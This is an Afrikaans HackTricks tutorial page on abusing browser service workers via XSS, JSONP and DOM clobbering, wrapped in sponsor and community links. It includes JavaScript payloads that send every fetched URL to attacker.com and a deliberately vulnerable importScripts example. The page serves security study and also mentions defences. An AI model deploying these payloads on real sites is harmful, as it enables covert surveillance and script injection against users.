# Misbruik van Dienswerkers
Leer AWS-hacking vanaf nul tot held methtARTE (HackTricks AWS Red Team Expert)!
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
**Probeer Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
'n **Dienswerker** is 'n skrip wat deur jou blaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie benodig nie, en sodoende **aflyn- en agtergrondverwerking**-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
### Kontroleer vir Bestaande Dienswerkers
Bestaande dienswerkers kan nagegaan word in die **Dienswerkers**-afdeling van die **Aansoek**-tabblad in die **Ontwikkelaarhulpmiddels**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde aansig.
### Duw Kennisgewings
**Duw kennisgewings-toestemmings** het direk 'n impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Daarteenoor verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
## Aanval deur 'n Dienswerker te Skep
Om hierdie kwesbaarheid uit te buit, moet jy vind:
* 'n manier om **willekeurige JS-lêers na die bediener te laai** en 'n **XSS om die dienswerker van die gelaai JS-lêer** te laai
* 'n **kwesbare JSONP-versoek** waar jy die uitset kan **manipuleer (met willekeurige JS-kode)** en 'n **XSS** om die **JSONP met 'n lading** te **laai wat 'n skadelike dienswerker sal laai**.
In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te **registreer** wat na die `fetch`-gebeurtenis sal luister en sal **elke opgehaalde URL na die aanvallers se bediener stuur** (dit is die kode wat jy nodig het om na die **bediener te laai** of te laai via 'n **kwesbare JSONP**-antwoord):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
En hierdie is die kode wat die werker sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek gestuur word na die **aanvallers** bediener om te **meld** of die **registrasie** van die dienswerker suksesvol was of nie:
```javascript
```
In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Daar is 'n **C2** toegewy aan die **uitbuiting van Dienswerkers** genaamd [**Shadow Workers**](https://shadow-workers.github.io) wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
Die **24-uur cache riglyn** beperk die leeftyd van 'n skadelike of gekompromitteerde **dienswerker (SW)** tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die kliënt aanlyn is. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-Tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n [**dienswerker-kill-schakelaar**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) te skep vir vinnige deaktivering.
## Misbruik van `importScripts` in 'n SW via DOM Clobbering
Die funksie **`importScripts`** wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein **importe**. As hierdie funksie geroep word met 'n **parameter wat 'n aanvaller sou kon** wysig, sou hy in staat wees om 'n JS-skrips van sy domein te **importe** en XSS te kry.
**Dit verbygaan selfs CSP-beskerming.**
**Voorbeeld van kwesbare kode:**
* **index.html**
```html
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### Met DOM Clobbering
Vir meer inligting oor wat DOM Clobbering is, kyk:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
As die URL/domein waar die SW gebruik om **`importScripts`** te roep **binne 'n HTML-element** is, is dit **moontlik om dit te wysig deur middel van DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
## Verwysings
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
Leer AWS-hacking vanaf nul tot held methtARTE (HackTricks AWS Red Team Expert)!
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).